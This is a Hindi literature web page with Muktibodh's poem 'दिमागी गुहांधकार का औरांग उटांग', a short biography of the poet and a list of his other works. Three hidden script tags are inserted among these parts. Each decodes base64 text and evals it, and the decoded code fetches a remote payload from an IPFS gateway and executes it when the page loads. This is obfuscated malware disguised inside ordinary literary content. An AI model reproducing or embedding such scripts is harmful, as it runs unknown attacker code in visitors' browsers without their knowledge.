दिमागी गुहांधकार का औरांग उटांग -गजानन माधव मुक्तिबोध

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दिमागी गुहांधकार का औरांग उटांग -गजानन माधव मुक्तिबोध कवि गजानन माधव 'मुक्तिबोध' जन्म 13 नवंबर, 1917 जन्म स्थान श्यौपुर, ग्वालियर मृत्यु 11 सितंबर 1964 मृत्यु स्थान दिल्ली मुख्य रचनाएँ कविता संग्रह- चाँद का मुँह टेढ़ा है, भूरी भूरी खाक धूल कहानी संग्रह- काठ का सपना, विपात्र, सतह से उठता आदमी आलोचना- कामायनी : एक पुनर्विचार, नई कविता का आत्मसंघर्ष, नए साहित्य का सौंदर्यशास्त्र, समीक्षा की समस्याएँ, एक साहित्यिक की डायरी रचनावली- मुक्तिबोध रचनावली (6 खंडों में) इन्हें भी देखें कवि सूची, साहित्यकार सूची <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गजानन माधव मुक्तिबोध की रचनाएँ अँधेरे में (कविता) -गजानन माधव मुक्तिबोध चाँद का मुँह टेढ़ा है (कविता) -गजानन माधव मुक्तिबोध एक स्वप्न कथा -गजानन माधव मुक्तिबोध एक अंत:कथा -गजानन माधव मुक्तिबोध जब प्रश्न चिह्न बौखला उठे -गजानन माधव मुक्तिबोध ब्रह्मराक्षस -गजानन माधव मुक्तिबोध भूल-ग़लती -गजानन माधव मुक्तिबोध मैं उनका ही होता -गजानन माधव मुक्तिबोध मैं तुम लोगों से दूर हूँ -गजानन माधव मुक्तिबोध मुझे पुकारती हुई पुकार -गजानन माधव मुक्तिबोध मुझे मालूम नहीं -गजानन माधव मुक्तिबोध मुझे याद आते हैं -गजानन माधव मुक्तिबोध मेरे लोग -गजानन माधव मुक्तिबोध शून्य -गजानन माधव मुक्तिबोध एक भूतपूर्व विद्रोही का आत्म-कथन -गजानन माधव मुक्तिबोध दिमागी गुहांधकार का औरांग उटांग -गजानन माधव मुक्तिबोध मुझे क़दम-क़दम पर -गजानन माधव मुक्तिबोध जब दुपहरी ज़िंदगी पर -गजानन माधव मुक्तिबोध <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> स्वप्न के भीतर स्वप्न, विचारधारा के भीतर और एक अन्य सघन विचारधारा प्रच्छन !! कथ्य के भीतर एक अनुरोधी विरुद्ध विपरीत, नेपथ्य संगीत !! मस्तिष्क के भीतर एक मस्तिष्क उसके भी अंदर एक और कक्ष कक्ष के भीतर          एक गुप्त प्रकोष्ठ और कोठे के साँवले गुहांधकार में मजबूत... संदूक दृढ़, भारी-भरकम और उस संदूक भीतर कोई बंद है यक्ष या कि ओराँगउटाँग हाय अरे ! डर यह है... न ओराँग... उटाँग कहीं छूट जाय, कहीं प्रत्यक्ष न यक्ष हो। करीने से सजे हुए संस्कृत... प्रभामय अध्ययन-गृह में बहस उठ खड़ी जब होती है - विवाद में हिस्सा लेता हुआ मैं सुनता हूँ ध्यान से अपने ही शब्दों का नाद, प्रवाह और पाता हूँ अक्समात्स्व यं के स्वर में ओराँगउटाँग की बौखलाती हुंकृति ध्वनियाँ एकाएक भयभीत पाता हूँ पसीने से सिंचित अपना यह नग्न मन! हाय-हाय और न जान ले कि नग्न और विद्रूप असत्य शक्ति का प्रतिरूप प्राकृत औराँग... उटाँग यह मुझमें छिपा हुआ है। स्वयं की ग्रीवा पर फेरता हूँ हाथ कि करता हूँ महसूस एकाएक गरदन पर उगी हुई सघन अयाल और शब्दों पर उगे हुए बाल तथा वाक्यों में ओराँग... उटाँग के           बढ़े हुए नाखून !! दीखती है सहसा अपनी ही गुच्छेदार मूँछ जो कि बनती है कविता अपने ही बड़े-बड़े दाँत          जो कि बनते है तर्क और दीखता है प्रत्यक्ष बौना यह भाल और          झुका हुआ माथा जाता हूँ चौंक मैं निज से अपनी ही बालदार सज से          कपाल की धज से। और, मैं विद्रूप वेदना से ग्रस्त हो करता हूँ धड़ से बंद वह संदूक करता हूँ महसूस हाथ में पिस्तौल बंदूक !! अगर कहीं पेटी वह खुल जाए, ओराँगउटाँग यदि उसमें से उठ पड़े, धाँय धाँय गोली दागी जाएगी। रक्ताल... फैला हुआ सब ओर ओराँगउटाँग का लाल-लाल खून, तत्काल... ताला लगा देता हूँ मैं पेटी का बंद है संदूक !! अब इस प्रकोष्ठ के बाहस आ अनेक कमरों को पार करता हुआ संस्कृत प्रभामय अध्ययन-गृह में अदृश्य रूप से प्रवेश कर चली हुई बहस में भाग ले रहा हूँ !! सोचता हूँ - विवाद में ग्रस्त कई लोग कई तल सत्य के बहाने स्वयं को चाहते है प्रस्थापित करना। अहं को, तथ्य के बहाने। मेरी जीभ एकाएक ताल से चिपकती अक्ल क्षारयुक्त-सी होती है... और मेरी आँखें उन बहस करनेवालों के कपड़ों में छिपी हुई सघन रहस्यमय लंबी पूँछ देखती!! और मैं सोचता हूँ... कैसे सत्य हैं - ढाँक रखना चाहते हैं बड़े-बड़े नाखून !! किसके लिए हैं वे बाघनख !! कौन अभागा वह !!

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